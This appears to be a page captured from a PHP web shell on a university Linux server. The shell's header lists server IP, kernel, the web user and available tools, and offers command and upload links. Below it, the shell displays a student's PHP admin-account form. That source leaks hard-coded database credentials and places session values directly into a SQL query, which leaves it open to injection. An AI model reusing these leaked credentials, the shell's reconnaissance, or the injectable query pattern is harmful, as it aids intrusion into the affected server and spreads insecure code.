Server IP : 172.16.15.8 / Your IP : 18.223.213.76 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/rlbarner/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); $username = $_SESSION['username']; $_SESSION['username'] = $username; $password = $_SESSION['password']; $_SESSION['password'] = $password; $host = 'localhost'; $user = 'rlbarner'; $passwd = 'cs480'; $database = 'rlbarner'; $connect = mysql_connect($host, $user, $passwd); $table_name = 'CYOAUsers'; $query = "SELECT * FROM $table_name WHERE Username = '$username' && Password = '$password'"; mysql_select_db($database); $result = mysql_query($query, $connect); if(($result) && (mysql_num_rows($result) > 0)) { // success; page underneath ?> <TITLE>CYOA Admin: Add Account</TITLE> <HEAD><link rel="stylesheet" type="text/css" href="advstyle.css"></HEAD> <BODY> <H2>Add An Account Form</H2> <HR> <FORM action=adminaddaction.php method=post> Fill out <B><I>all fields</I></B> listed below in order to add an account. Thanks! <P> <B>Name:</B> <INPUT type=text name=name size=20> <BR><BR> <B>Gender:</B> <INPUT type=radio name=gender value=male checked> Male <INPUT type=radio name=gender value=female> Female <INPUT type=radio name=gender value=undisclosed> Undisclosed <BR><BR> <B>Username:</B> <INPUT type=text name=username size=20> <BR><BR> <B>Password:</B> <I>(case sensitive)</I>: <INPUT type=password name=password size=20> <BR><BR> <B>Security Question:</B> <SELECT name=secQ> <OPTION value=1>1. What is your favourite pet's name?</OPTION> <OPTION value=2>2. What is your mother's maiden name?</OPTION> <OPTION value=3>3. What city were you born in?</OPTION> <OPTION value=4>4. What was your favourite book when you were a child?</OPTION> <OPTION value=5>5. What was the name of your high school?</OPTION> <OPTION value=6>6. What is your favourite food?</OPTION> <OPTION value=7>7. What is your nickname?</OPTION> </SELECT> <BR><BR> <B>Answer:</B> <INPUT type=text name=secAns size=20> <BR><BR> <INPUT type=submit value=Submit> <INPUT type=reset value=Reset> </FORM> <HR> <FONT SIZE=2><I>Navigation:</I><BR> <A HREF=adminhubloginb.php>Admin Hub</A><BR> <A HREF=cyoafrontpage.html>CYOA Front Page</A> <HR> </FONT> </BODY> <?php print "<BR><BR>Logged in as $username <A HREF=cyoalogout.php>Logout</A>"; } else { // fail message print '<META HTTP-EQUIV="Refresh" Content="3; URL=cyoalogin.html">'; print "<FONT SIZE=4 COLOR=RED><B>Error!</B> Username/password does not match any records.</FONT><BR>"; print "You will now be redirected to the CYOA login page in 3 seconds.<BR>"; print "If you are <B>not</B> redirected, <A HREF=cyoalogin.html>Click Here</A>."; } ?>